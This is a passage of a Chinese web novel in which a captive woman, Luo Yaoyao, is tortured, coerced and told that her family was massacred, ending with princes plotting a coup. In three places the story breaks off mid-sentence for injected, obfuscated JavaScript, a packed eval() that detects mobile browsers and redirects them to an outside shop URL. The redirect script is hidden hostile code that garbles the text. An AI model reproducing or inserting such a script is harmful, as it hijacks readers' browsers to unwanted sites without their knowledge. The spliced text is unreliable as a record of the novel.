要说,那也是他从她这里得到了东西——两条命!她前后救她两次,一次在云青山,一次在被仇家追杀的逃亡途中。 他曾说要她嫁给他是对她的报答——原来就是这样的报答。 冷水滴在她的额上。 “你不觉得自己很可笑吗?”洛夭夭被蒙着眼看不见任何东西,平静地说:“除了欺凌弱者你还会干什么?” “呸!”张美珠啐她一口,“死鸭子嘴硬,竟还敢说我,你哪来的底气?!” 夭夭躺在那儿,淡淡说:“王妃,你打听过关于我的事儿吧,你知道我是大夫。你要用我的血做药引,我无法反抗,可你即便服了药身体也好不了,知道为什么吗?” 君琰没有用晚膳,一直死死看着暴室的方向…… 眼睛里没有任何光采。 “陆云,把琉璃带去她隔壁关着。还有,找个大夫在那儿看着,别让王妃不小心把人给玩死了。” “属下遵命。” “……王妃给她上了什么刑罚?” “回王爷,是水滴刑。” 16. 灰心 夭夭的世界彻底陷入一片黑暗,没有了白天和黑夜的变化,能感受到的唯一来自外界的东西便是那一刻不停地滴着额头的水珠,有个词叫“水滴石穿”,她不由得想,自己的头会不会也被滴穿?那样她不仅要死,还会死得很难看,会变成头骨上有一个小洞的怪物…… 好冷,好黑。 张美珠没有再来了,周围静得也仿佛一个人也没有。她手脚被缚躺着,一动也不能动,分分秒秒流逝的时间都让人绝望…… 阿爹,阿娘,夭夭好想你们……夭夭后悔了…… ……玉坠,她的玉坠!她忽然想起了这样东西。 那是小时候阿爹给她的,也是她极重要的东西,只因为那天君琰说喜欢,她便送给他了……可现在,这枚玉坠没有继续留在他那里的必要了吧? 对,对……只要能出去,出去后的第一件事,就是去找他要回玉佩…… 烛火的映照下显出一张轮廓分明的脸,第二天的晚上,君琰坐在烛火前,手里细细摩挲着她的那块玉坠。 常年习武、带着薄茧的手指,细致感受着玉坠上凸起的纹路,他闭上了眼…… “王爷,王妃来了。”陆云不合时宜地来禀报了一句。 他没有答话,仿佛心思已沉浸在那枚玉坠里,张美珠推门而入。 “夫君?”她端来了一碗亲手做的莲子羹汤,搁在他桌案上,“夫君在把玩什么呢?” 君琰大手一包收起了玉佩,没有答她的话,“你来了。” “夫君回来后一直忙于政事,都有好久没和阿珠说话了。” “才几天?” “两天啊,两天还不多么?”她露出娇羞的神态来,“夫君今晚歇在哪儿?” “书房啊。”他看着她,“近来有些事务皇兄催得紧,你会谅解的吧?” “哦……是。”张美珠强自压抑下内心的失望,挤出一个微笑:“既是公事,夫君忙吧,只是注意别累坏了身子。” “嗯。”他点点头,装作无意地问道:“洛夭夭还在暴室里吗?” 张美珠顿时蹙起了眉头,“夫君是要把她放出来吗?” 君琰笑了笑,“本王是劝你悠着点,别一下子做得太过,把人弄死了,谁给你做药引?” 张美珠这才又笑了,“夫君所虑甚是,倒是阿珠考虑不周了。” “之前给你治病的大夫本王已经找着了,按照疗程,一个月后放她的血。等药引子做好了,你想怎么惩处她本王都不管,你尽可随意。” “是,是了。那,阿珠现在去让行刑的人停一会儿。” “王妃呀,不能这么下去啦。”发须花白的老大夫看着着急,“这姑娘需要治疗一阵子再接受刑罚,不然的话,人就被弄死啦……” “知道了知道了。”张美珠满不耐烦地命人把洛夭夭带了出来,对大夫道:“你快些给她医治吧,要快,本王妃可没那么多耐心!” “……遵命。”看着人走了,老大夫才叹了口气,摇着头小声自语:“真不知这是何苦呐,来回折腾一个小姑娘。” 她被放出来了,琉璃也跟着出来了。主仆二人有几天没团聚了,琉璃做完了药膳,就守在她跟前儿。 再醒来时已是两天后的清晨。一阵冷风从窗外吹来,她躺在榻上打了个寒颤。 “姑娘今天小日子来了,可不能着凉,也不能累着,好好休息吧。”琉璃上前关上了窗,“要不我去给你做点好吃的?姑娘今天想吃点什么?” 小日子……她小日子来了?难怪刚醒来就觉得小腹疼得厉害。 现在,琉璃是整个王府中唯一肯和她好好说话的人了,其他人大都对她嗤之以鼻,因为景王对她冷淡又不给名分,王妃也打了招呼让众人孤立她。老大夫给她开过处方,便离开了王府。 这些天来的一应遭际又浮现在了眼前…… 她终究还是落泪了,把脸转向墙壁。 琉璃以为她是在思考要吃什么,便侍立在一旁默默等着,远处却忽然传来一阵脚步声,琉璃心下一紧,一转过身只见是王妃张美珠带着她身边两个趾高气扬的侍女又过来了,刚要出声,惊鹊直接一掌将她推倒在地,“哎哟——!” 夭夭一下子翻身坐起来! 她见状就要下床去扶琉璃,张美珠却抢先一步上前大力抓住了她的手腕,“你今天不舒服吧,怎么还能这么毛糙,快回榻上歇着!下人的下人摔了而已,难道她自己不会起来?” “下人的下人”几个字被她咬得死死的,夭夭一抬眸又对上了那双充满了戾气的眼睛,不由觉得很是厌烦。 琉璃这时候才从地上爬起来,见那两个侍女都在憋笑,张美珠递去一个眼神,另一个侍女上前来拽住她,“王爷喊你过去呢!” “王爷喊我过去,为什么是你们来传话?”琉璃眼看着就替洛夭夭觉得不妙,可一个人却拗不过两个人,硬生生被拽出去了……“姑娘,姑娘!” 夭夭咳了两声,想要出言,嗓子却一时哑了发不出声来,张美珠看着她笑。 “知道你今天小日子来了,本王妃心善,特来给你送些补品。” 夭夭的身子此刻疲倦不已,微带着疑惑双目无神地看着她…… “哗!”——忽然兜头一盆冷水浇在了她身上! 不知何时又进来了一名侍女,张美珠悄无声息地避开了,那侍女直接把盆中的冷水对着她的脑袋浇下去,动作太快,她根本没来得及反应。 “啊——!阿嚏!”今儿天气也很冷,她刚来了小日子,忽然被一盆冰冷的水从头浇到脚,顿觉整个人都要死了…… 一盆冷水泼下,耳边隐约听见水滴“吧嗒”的声音,她浑身冷得发抖,坐在那里像个木偶人,哆嗦着唇,说不出话来。 “赏你的补品可还喜欢?”张美珠笑着坐下来欣赏她这副落汤鸡的模样,“也是在古书偏方上看到的,说这样可以缓解腹痛,可有效果了,你不信就等一个时辰再看。” 泼水的侍女已经忍不住大笑起来:“你一个身份低又不得宠的贱-婢,我们主子大冷天赏你一盆冰水那是你的造化,还不跪下谢恩!?” “冷,冷……”她哆嗦着去拿被子。 “你若捂着就影响疗效了。”张美珠对侍女示意了一眼。 很快,她榻上的被褥、衣服,全被拿干净了。 整间屋子里都变得空荡荡的…… 惊鹊上前来再次按住她的脖子,恶狠狠道:“不知好歹的东西,跪下,向王妃谢恩!” “算啦。”张美珠今天看上去心情不错。“惊鹊,我们走。” “琉璃呢?……琉璃!”夭夭喊着侍女的名字,张美珠已经带着人离开了,她急匆匆地跑到了门口,猛然撞到了一个身子上——是君琰。 “晦气东西!从哪儿弄来这么一身冰水,把我们王爷身上都弄湿了!”陆云大声斥道。 “琉璃……琉璃在哪儿?”往昔那双楚楚动人的水灵大眼睛早已失去了光彩,她双目无神地看着他,眼中流露出了一丝恨意,“你把琉璃叫走了!?她在哪?” “本王没有叫她。” “你……”她眼前忽然一片模糊,也看不清楚他的神情。 “你在闹什么?” “我要去找琉璃!” “她若出去有事自会回来,进去,有事和你说。” “我不!我……”无奈她拗不过他的力气,被他重新推进了屋,重新坐到榻上,他亦在她身边坐下来,眼中尽是漠然,也不问她方才是经历了什么,开口道:“一个月后会有人送你离开。” 她揉了揉眼睛,视线清楚了一点,看向他…… “取完我的血以后是吗?” 曾经依恋万分的那个怀抱,现在早已变得比那盆冰水还冷。他可以对一个女子那么好,同时亦对另一个女子那么残忍。 她想要抱一抱被子,可榻上的被褥已经被拿走了,她只能默默地、被动地蜷缩在角落里,身子一直发抖……这些日子,她逐渐变得防备又警觉,早已不再是和他初遇之时那个活泼爱笑的小女孩了。 身子冷得不行,她哆嗦着点点头,说出一个字:“好……” 君琰没有多余的话,点了点头,起身走了。 她一个人躺在空荡荡的榻上,脑中一时纷乱如麻,一会儿是云青山的朝霞和落日,一会儿是小木屋中缤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573314|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷簇新的花朵,一会儿又是初遇之时他那双明如朗星、柔情万种的眼睛。那时候她还和父母一起住在云青山上,采药行医,乐得自在,一切都源自她那天傍晚救了一个受伤落难的男人。 他那时说过,日后要娶她,要给她一辈子的幸福来报她的救命之恩,他甚至还要走了她的宝贝玉坠…… 对,玉坠!她方才怎么又忘了。 她忘不了这些天来的痛了。 太痛了,她从小到大都未曾经历过这样的苦楚。莫非这就是喜欢一个人所要付出的代价么? 眼睁睁听着他被赐婚,眼睁睁看着他另娶别人,亲耳听到他说,对她的一切都不过是利用,为了另一名女子的利用,这些天来一直冷眼看着王妃对她施加刑罚而无动于衷……江湖魔头怎么会有心?她又凭什么觉得自己会是他的例外? 她待在这个王府里,没有名分也没有宠爱,什么也不是,什么也不曾有过……是她错了!他都这样对她了,她却还心存一丝侥幸! 她开始后悔了,为自己过去所做的一切选择而后悔!后悔当初救下他,后悔同他私奔,后悔那时候没有听凤祥公主的话离开王府,后悔没有抓住最后一次机会和司云哥哥一起离开…… “姑娘!”琉璃的声音这时传来,将她从思绪中拉了回来,她一喜,看到琉璃手中还抱着一堆被褥和衣服。 小侍女急切地把东西放下了,拉起她冰凉的手,“姑娘快泡个热水澡去!水我已经备好了,快!” 方才她一直在发呆,身上冷冷的,心也冷冷的,身体此时后知后觉地反映了过来,小腹处传来一阵剧烈的绞痛,她忽一倒头,晕倒在地上! “姑娘,姑娘!”琉璃焦急的声音穿透了屋顶。 再醒来时候就是黑夜了,琉璃仍守在榻边,将炭火拿来她近前摆着,柔柔一笑:“姑娘醒了?再等等,说不定今夜王爷会来。” “要他来做什么?”她淡淡地说。 “姑娘傻啦,府里人都攀高踩低的,只要王爷肯来咱们这里一次,那些人指不定就不敢再欺负您了!还有王妃也是,如果王爷对姑娘好,王妃自然也就不敢怎么样。” “你说得对,琉璃。”她露出一个无奈又好笑的笑容,“我确实是个傻子……我傻,我离开父母和他私奔;我傻,我放着好好的平静生活不要,来这里做别人的祭品;我傻,我轻信了他的甜言蜜语,我……” “姑娘,你别说了。”琉璃上前给她擦泪,“王爷他……” “放心,他们不是还需要我的血吗,既然我还有被利用的价值,那他们现在也不会让我死。”她苦涩地笑了笑——“不过是让我生不如死罢了。” “姑娘也别太灰心了,”琉璃试图安慰她,“你和王妃是最早进府的,等以后王爷有别的侍妾了,姑娘就是资历最老的了,熬过这一阵子,得个位份,慢慢立稳脚跟就好了……” 立稳脚跟?资历最老?她从前压根不愿去想这些东西,她以为她和君琰是真爱,是不用操心这些的,他会为她安排好一切……自己当初跟他走到底为的什么?不就为了一份真情吗?真情如果要用金钱、用位份来衡量,那她从前所憧憬着、信仰着的一切又算什么呢?她是平民不错,可她也只想求一份真情而已,从未想过要高攀什么王爷,是他对她隐瞒了身份,诓她来此的啊。 她厌恶这府里的一切,同时也是那样软弱无力地恨着他,可初遇那段时间在云青山上的美好时光,也会不时地出现在梦境中,他会温柔捧着她的脸,会给她抓萤火虫、摘花、描眉、教她舞剑……梦境与过去的美好无缝重合,每每梦醒时分,都能叫人体会到入骨的怅惘和悲伤。 “君琰,我曾救过你两条命,可是你会怜悯我吗?” 北风卷着雪片透过窗棂飘落进来,她的声音轻得如霜雪一样。 “你可曾怜悯,可曾怜悯过我……” “姑娘,你生病了吗?”琉璃忽然把手搭上她的额头,一下子叫了出来:“不好,好烫!姑娘,你又发烧了!这昨天才降下去的温度,怎么现在又烧起来了?!” 她淡淡把侍女的手拿下来,毫无波澜地说—— “不用管我,我会死。” 17. 抗争 耳边又是熟悉的问诊声,鼻尖嗅到的又是草药味……她已经闻了快两个月的草药味了。 小腹痛得厉害,她一动不动,头上冷汗淋漓。 她这时候忽然想,自己为什么要那么顺从呢,君琰的意思是取完血之后她就可以走了吗?可是他们要取多少血呢?若取得太多,自己还活得成么? 自己现在这个状态,也和死了没什么区别吧。 阿爹,对不起,我把玉坠弄丢了。我会在死之前,把它再要回来…… 为什么她不干脆死在前面,让他们取不成血?他们要保着她的命,可见那血是得人活着取才有效。 转念又一想,君琰真的值得自己用生命来报复吗?命是自己的,无论多么艰难,她都应该努力活下去呀…… 可是既然现在自己的命是为他们所看重的、暂时不能丢的……那她是不是可以凭此做出某种程度的抗争,从而换取一些自己想要的东西? “琉璃,你去和王爷说一声,那玉坠对我很重要,让他把玉坠还给我。” “……好的姑娘。”琉璃领命去了,过了一阵子就回来了。“王爷说……送出去的东西,没有再要回的理,他不会还你的玉坠。” 此时大夫已经看完了诊,烧得迷迷糊糊的夭夭一下子睁圆了眼睛。“他真这么说的?!” “……是。” “那好,从今天起我不吃饭了。” “姑娘是生病了没有胃口吗?” “不,病好了我也不吃。让我早一点去,早一点解脱……” “姑娘!” “你不必再劝我了。从今天起,任何送来的饭食我一口也不会吃,除非……” “除非什么?” “除非他把玉坠还我,把李嬷嬷重新接回府里来。还有,在我被取血之前,要好好静养。” “……奴婢会将姑娘的意思传达给王爷的。” 她果真说到做到,从早上起就一口饭也不吃了。 “好,好呀!”君琰气得一拳捶在了桌案上,“她还是个有本事的。姚寂呢?叫姚寂来!” 青龙堂堂主半刻钟后便至。“不知公子有何吩咐?” “将此人抓来!”君琰秀手一样,抛给他一张纸条,上面写了一个人名。 “属下知道了。” 傍晚,君琰来到她的卧室。 夭夭一张脸对着墙壁装睡,一个字也不想说。 君琰也不多关心她,站在那里,直接撂下话来:“今晚开始,你不吃一顿,琉璃就陪着你不吃一顿。你若将自己活活饿死,本王即刻赐死司云。” 她一下子睁大了眼睛……慢慢坐了起来,视线有些模糊,她看向那个已经变得疏离和陌生的人。 “你说什么?!” 司云,司云哥哥不是走了么? “带进来!”君琰大手一挥,两个侍卫押着司云走了进来。 “司云哥哥?!”也许是太过想念故人,这一刻她的眼泪扑簌簌流了下来,“司云哥哥,司云哥哥!” “夭夭妹妹!你……你怎么瘦成这样了?!”司云一双眼睛含情地看着她,“是不是景王待你不好?” 她咽下一口苦水,看着他:“司云哥哥,你怎么被抓到这里来了?你快走,你……” 君琰的脸色黑得吓人,看着他们这一出青梅竹马重逢情深的戏码,指骨都要捏碎了。 “他走不了了。” “君琰,你放了他!”她红了眼睛,转向他:“为什么要把无辜的人牵扯进来?!你冲我来,你冲我来啊!” “带下去。”他又一抬手,司云被押下去了。 “你要带他去哪里?!”她跌跌撞撞地下了榻,跪在他脚边,“你放了他,你放了他!”她拉着他的衣袖,仰起头,看到了那双冷如冰的眼睛…… 前尘往事忽地一股脑袭上心头……“司舟哥哥也是你杀的是么?!” 君琰的眉头皱了一下。“你的好哥哥还真是不少啊。” “那又与你何干?” “本王刚才说的你都听到了,吃不吃饭你自己看着办。” 她站了起来,咽下泪水,“为了你的王妃,你竟不惜如此逼迫我……君琰,我现在什么也不要,什么也不求,你能不让人活,难道还能不让人死吗?!” 君琰盯着她,双目充血,忽就被她激起了一股莫名的情绪:“当然,本王不但能让你不死,还能让你乖乖待在府中等待被取血。本王命你五更死,你便不能死在三更!听清楚了吗?” “……你!”她从未见过如此蛮不讲理之人。 君琰不再和她说话,大步走出了房间。 她“啪”地一声关上了门,独自一人抱着膝盖坐在榻上,泪水这时候才一股脑涌了出来……泪花,化成了旧时马车顶上的冰花,车里载着一个中年男子和一个小女孩。 破旧的马车在离京的雪道上颠簸而去…… 与男子脸上的愁容相反的,是小姑娘脸上的笑靥。马蹄蹬蹬,从车里传出一阵银铃般的笑声……“阿爹,你怎么不高兴呀?你看,外面好多雪!阿爹陪我堆雪人好不好?” 车外的风一阵阵涌入耳鼓,和着小姑娘的娇笑声,竟越发让他觉得浑身苍凉。 女孩儿的笑声渐隐,风雪声带来了故友的话外音:“洛兄,夭夭这孩子就交给你了,我命数如此,怨不得旁人,从今往后,云青山上的神渊大夫就是你了。我毕生所撰医书,都在屋内最里头的暗格里。墙上有个机关,你只需按照我之前说的去开启即可……望洛兄看在你我生死之交的份上,将夭夭养育成人,日后给她找个好人家嫁了,如果可以的话,教她一点医术,也算是承我衣钵……愚弟沈从星再拜叩首!” “江南到了!阿爹,江南到了!”小女孩欢快的声音将他从思绪中拉回来——他们在路上走了两个月,到了江南。 男子倏然睁开了眼睛,耳边只剩下呼啸的风声,他抱起小女孩下了车…… 风雪中驻足回眸,向北一望,北京城已是那样遥远,一切在那里发生的过去,仿佛也随着这场大雪,被埋葬了。 “夭夭,我不是你阿爹。”他轻轻说了一句,又像是自语。 小女孩听见了,露出疑惑的神情,嗲里嗲气地说:“你怎么可能不是阿爹呢?你就是阿爹呀!” …… 是了。 沈从星知道夭夭是他的女儿,可却从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589645|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有和她相认过,或许是为了不想影响到她…… “阿爹不要再骗阿囡了,阿囡不喜欢这种玩笑!”小女孩作势假装要哭,抬起两只粉嘟嘟的小手去揉眼睛。 “乖,阿爹以后不开这种玩笑了。”他伸手抚了抚小姑娘的小脸。“从今往后,我就是你阿爹。” “阿爹,我们要去哪啊?” “乖,我们要回云青山。” “云青山?那是什么地方?” “是一个很美的地方……春月春鸟,秋月秋蝉,夏云暑雨,冬月祁寒,四时皆美,阿囡会喜欢的。” 于是乎,云青山就成了她长大的地方……当然,记忆中最重要的一笔,还是在夏天的晚上,阿爹、阿娘带着她还有司云哥哥、司舟哥哥一起躺在草地上数星星。 在山上看星,星星一颗颗又大又亮,感觉触手可及,有时候她数着数着,就睡着了…… “阿囡看,那是什么?” 小女孩已经快睡着了,睁开了一只眼睛,倦倦地朝天看了看……“北斗七星啊。” 洛商丘一笑,“阿囡说对了。” “阿爹也太小看我了,难道我连这也不认得么?呼呼……”说话间她已经睡着了,小侧脸上一团肉肉,星光照在脸上,跟个雪团子般可爱。 来景王府前的夏天,是她最后一次数星星…… 小女孩慢慢长大了,数星星慢慢变成了数心事。 “我听说,人走了以后就会变成星星挂在天上。”司云那天忽然伤感地说。 “……是么?”姑娘看着深空,“那我希望自己以后能变成一颗好看的星星。” 司云不解,“星星都长得一样,还分好看和不好看?” “那当然。你看,它们有的大,有的小,有的明,有的暗,有的近,有的远……如果是我的话,我一定要变成一颗离你们最近的星星,时时刻刻都能看到思念的人。” “还指不定是谁先变成星星呢。” …… 以后,再没有机会数星星了啊。她躺在榻上,不无伤感地想。 我会在这里病死吗?会被取完血之后因失血过多而死吗?阿爹阿娘,司云哥哥,你们都想不到,最先变成星星的人,会是我吧。 不过你们不用担心,我就算成了星星,也会在天上陪着你们,庇佑你们……我们永远都不会分离。 耳边忽然传来“咚——”的一声! “……琉璃!”却见是小侍女晕过去了,她不顾身子正虚着,起来想要扶她,扯着沙哑的嗓子喊:“来人,来人……” “洛姑娘,琉璃姐姐是因为吃得太少。”小侍女扶起她来,巴巴儿地说。 洛夭夭:“……” 君琰怎么能这么可恶呢?她不吃饭,他就让她的侍女也不能吃饭……她自己绝食抗议可以,但是琉璃,琉璃又做错什么了呢?! “等等。”她叫住了小侍女,“你们要把她带去哪里?” “王爷有命,”小侍女道:“琉璃姐姐不能继续待在您身边了。” “……你说什么?为什么,为什么要琉璃走?!” “王爷说了,明天早上您再不吃饭,就将琉璃姐姐赶出王府。” 18. 碎玉 她整宿未眠。 第二天早上下雨了,天色阴沉沉的,小侍女照例端来了饭食,放在她桌上,在旁边盯着她。 她终于不情愿地挪了过去,慢慢端起了碗…… 眼泪掉进了饭食里,勺子是咸的。 她一粒粒扒着米饭,艰难下咽……终于,她忍不住了,放下碗来。 “我已经吃饭了,你去告诉他,让琉璃吃饭,接琉璃回来!” “是。”小侍女一转身跑走了。 是了,她斗不过他,斗不过……绝食抗争,不过才过了一天,不过才能坚持一天…… 屋外出现了一个撑伞的人影——他又来了。 君琰站在那儿,灰蒙蒙的天色中她看不清他的神情,只能感受到他投来的目光。她别过脸去,对着墙看也不愿多看他一眼。 过了一会儿,他收起了伞走进屋来,目光落在桌上的木碗中——就吃了那么一点,跟没吃也无甚区别。 “你来干什么?”她背对着他。 君琰:“这是本王的王府,本王想来哪就来哪。” “我已经吃饭了,也不会寻短见,你放了琉璃,放了司云。” “琉璃已经开始用饭了,你吃多少,她吃多少。”他数了数她碗里剩下的米。 “……你!” “你只吃十粒米,她便也只能吃十粒米。” 她一下子转过脸来,眼周依然是红着的,一下子拿起桌上的碗,大口地往嘴里扒拉……不一会儿她就噎住了,剧烈地咳嗽起来。然而她不管,继续把饭食往嘴里送…… 一碗饭见底了,她“砰”地一声将碗搁在桌上。 “琉璃今天可以吃一碗饭。”他的声音依旧冷淡得听不出情绪。“但是司云还不能放。” “为什么?!”她愤恨地盯着他,“我已经答应了你不会寻短见!” “谁知道你说的是真是假?” “你……!” “还有,本王特来还你的东西。”——他拿出了她的玉坠。 玉坠光泽温润,重新出现在她眼前,她扑了上去,他却提前拿开了手。 他之前说不还,现在又来还,鬼知道他安的什么心…… 她不再露出急切的样子,只是低着头,向他摊开了手。 “拿好了。”他眼看着就要将玉坠放在她掌心里,却突然有意一偏,耳边听得“哐当”一声脆响——玉坠摔在地上,碎成了数瓣! “……我的玉坠!”她大惊,心口猛然一阵抽疼,蹲下来去拾那些碎片……一片,两片,碎片划破了她白皙的指甲,君琰冷冷看着她。 她拾了几瓣碎片放在手心,抬起头来,直视他的眼睛:“你不还就算了,为什么故意骗我要还,又转手摔了我的东西?!” “什么破烂玩意值得那么宝贝?”他看上去十分无所谓。 她腾地一下站起来,“你觉得是破烂玩意,是,你是王爷,你身份尊贵,什么宝贝都见过,可它对我来说很珍贵,是我从小就贴身带着的,你怎么能这样以己度人?!” “你这东西,看着碍眼得很。”他丢下一句,转身离开。 “君琰!”她的心疼得滴血……“你摔了我的玉坠,你竟然摔了我的玉坠!” 雨下大了,她已经分不清自己的哭声和雨声,屋里暗沉得吓人,除了她一个人也没有,桌上的水壶干了没有水,也没人来给她添。 心也碎了,就和玉坠一样。 手被划破了,心也被划破了。 破碎的玉坠,就像她破碎的念想,对他的念想破碎了,对旧时的回忆也破碎了…… 她猛地拿起一个包袱,三两步走出屋子——刚一出去就有侍卫的长枪拦住了她。 “放我出去……”她有气无力又充满愤怒地道:“我要出去!” “姑娘恕罪,王爷有令,您不能走。” “你们不让我出去,我便死在这里!” “那王爷就会杀了司云公子给您陪葬!” 侍卫们仿佛早已被告知了这种情况的应对办法,竟然对答如流。 这辈子也没有这么无助过。 夭夭,你应该怎么办?她淋着雨,心里对自己说。 “姑娘快些进屋去吧,淋了雨病逝加重王爷又要怪罪我们了。”一个侍卫过来给她打伞。 这话听起来是不是很重视我?可笑吧,重视我都是因为要留着我给王妃做药引。她迷茫地想着…… 在榻上昏昏地又睡了一天,醒来时琉璃已经回来了,端着一碗热粥要喂给她。“姑娘,吃点东西吧。粥是刚熬好的,还热乎着呢。” “你回来了,你终于回来了。他没再为难你了吧?”她露出一个虚弱的笑容。 现在她看见琉璃就像看见亲人一样了。 这是如今整个王府中,唯一善待她的人。 日子一天天过去,她一天天记着,很快就要到一个月了…… “身体康复得不错嘛。”这天一个不善的声音从背后传来——是惊鹊。 “洛夭夭,王妃有事找你,傍晚过去一趟。”她丢下这一句便走了。 夭夭没有过去,她现在已经什么都不想理、什么都不想管了,张美珠若要找她的茬多的是理由,还在乎这一个吗? 她没过去,张美珠那儿派人来“请”她了,几个丫鬟拽着她就往地上拖,她这才挣扎着说:“放开我,我自己会走。” 王府的路她已经走过很多次,从冬到夏,短短半载,一切竟已是沧海桑田。 张美珠依旧是那副高傲的神情,惊鹊在她身后踢了一脚,她膝盖一弯,跪了下来。 她任由身子疲软,不抬头看对方,脸上也没有任何表情,像一具提线木偶。张美珠见状,对惊鹊道:“给她喝醒神茶!” “是。”惊鹊拿了茶过来就强灌,她挣扎中被热茶烫伤了手,也恍若未觉。对方这是连让她麻木的机会也不给么?醒神茶一下肚,眼前画面登时都清晰了,脑子像被打了鸡血一般,眼睛也跟着睁大了。 “王爷上回离府是去了一个地方。”张美珠看上去心情颇好,“你知道是哪儿吗?” 夭夭不答话。 “这地方你认得的。”张美珠一笑,秀手一扬,一个装卷轴的长筒从桌案上滚下来,到了她脚边。“自己看看吧?” 夭夭无动于衷。“他去哪里,与我无关,我也不想知道。” “哦?”张美珠笑意愈浓,“云青山也与你无关?” “?!!” 一股不祥的预感骤然袭上心来,她瞪大了眼睛,慌忙打开那个长筒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594408|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取出里面的东西…… 里头卷着两张纸,一张是云青山地图,一张上面用朱笔密密麻麻地写了几百个人名…… 脑海中赫然被红色的笔画占满!她想起了上次在他书房里无意中看到的那份名单,琉璃当日的话犹在耳边—— “王府的名单分为两种,黑色的是要用的人,红色的是已杀的人,两份名单都放在书房里。红色的……是谁接令动的手,就由谁用血刺字写下已死之人的姓名。” 她呆住了,目光怔怔地,看着那张纸上许多熟悉的人名…… 云青山的伯伯、奶奶、叔叔阿姨们,还有…… 她的阿爹阿娘!! 红色,脑中全是红色,眼前也全是红色……她捂住心口,豆大的泪珠掉了下来。“这不可能,这不是真的,不是……” 张美珠笑意盈盈:“王爷前儿离府就是去云青山杀人了呀,整座山上所有人无一幸免呢,杀了半日,天都黑了。” “不可能,这不可能!”她一时完全无法接受这件事,吼道:“你说谎,你在说谎!” 阿爹阿娘,叔叔伯伯,云青山的大家,怎么可能忽然都不在了呢?还是被君琰杀的?! 张美珠欣赏地看着她脸上悲痛的模样,摸了摸鲜红的长指甲,“本王妃有必要骗你?难不成这东西是我伪造的?你觉得我有这个闲工夫吗?” 她站起身来,扬着下巴从她眼面前走过,夭夭目之所及处只看到那绣着重工花纹的精致裙摆…… “我是看一个月就要到了,你就要被放血了,到时候有没有命在都说不准,所以才大发善心,让你在临死前知道这个事实,不然就算下了黄泉也是个糊涂鬼,你说是不是?” “不,不……”她身子颤抖着,嘴唇发白,拼命想让自己镇定下来,“我不信,我不信……如果真的是君琰,那他……他为什么要这么做呢?” “因为皇上有旨,抓捕钦犯余逸,钦犯逃到哪里,哪里的人就要跟着陪葬,如此一来这钦犯就无处可去了,自会落网。巧不巧这钦犯还和你洛家是世交,就去了云青山,洛夭夭,看不出来你家还挺有本事的,跟朝廷的钦犯关系不浅啊。” 巨大的信息量一时在她脑中炸开,她有些来不及反应,又听对方继续说:“王爷也是奉圣命去捉拿钦犯,可他也知道你是云青山的人,更知道那些人里面包含你的父母。本来,凭他的本事要从中操作一番是不难的,可是他没有,因为根本不值得为你去花这个精力。洛夭夭,你在他眼里从来都是可有可无、不重要的一根稻草罢了!” “……你住口!”她双手撑地,软绵绵的身子慢慢站了起来,头一回正视张美珠。“你已经是王妃了,我对你根本没有任何威胁,甚至还要做你的药引,你为什么,为什么这样恨我?!” “因为我不许琰哥哥与除我之外的任何女人亲近过,就算是为了利用!我进府前你和他在一起被关了整整一月!” “你这样的恨我着实无法理解,被利用难道是我愿意的?”她看着她,“那你今天和我说这些又是为了什么?单纯为了报复?恕我还是无法相信你,这样大的事,不亲眼所见,我绝不轻信。” “那你不妨就去看看!或是亲自去问王爷。”张美珠手一抬,“哐啷”一声,一把钥匙掉在了地上、她的脚边。 19. 逃跑 密室里一盏烛火昏昏,映着一张摆在桌案上的信。 “据我所知情报,皇兄南巡回京就在六月二日,即十天之后,途中要经过密云。九弟,你不是有两万人在密云吗,到时圣驾一到,你便即刻以护驾为名,解除随驾护军的武装,挟持皇兄密送进京!” “进京以后呢?” “我和六叔说好了,到时让他会有办法让我的人取代王柠将军禁军统领的职务,再让陶兵召集步军衙门的兵马,双方一等你的人将皇兄密送进京,就关闭城门,全城戒严,由我去紫宸殿,逼他写禅位诏书。” “可以。”君琰道:“但这还不够。我再同热河的萨提将军打个招呼,让他提前率领兵马进驻京郊,以为呼应之势。” 君朝雨两眼一亮:“这样好!你们到时安心等我的消息便是!” “嗯。”相比于对方的兴奋,君琰显得更为冷淡和平静,仿佛他虽然在做这件事,但心里边并没有多么情愿。 君朝雨自然是看出来了,他一面拿着桌上的信去烛火上烧掉,一面说:“我知道在你心里,我和大哥本也没什么区别,帮谁对你更有利你就帮谁。可是九弟,这些年我心里也是真拿你当兄弟看。大哥用你当杀人的刀,你费尽心力地为他卖命又得到什么了?终究还是要被反复猜忌,上回你被禁足王府,差点病死。” 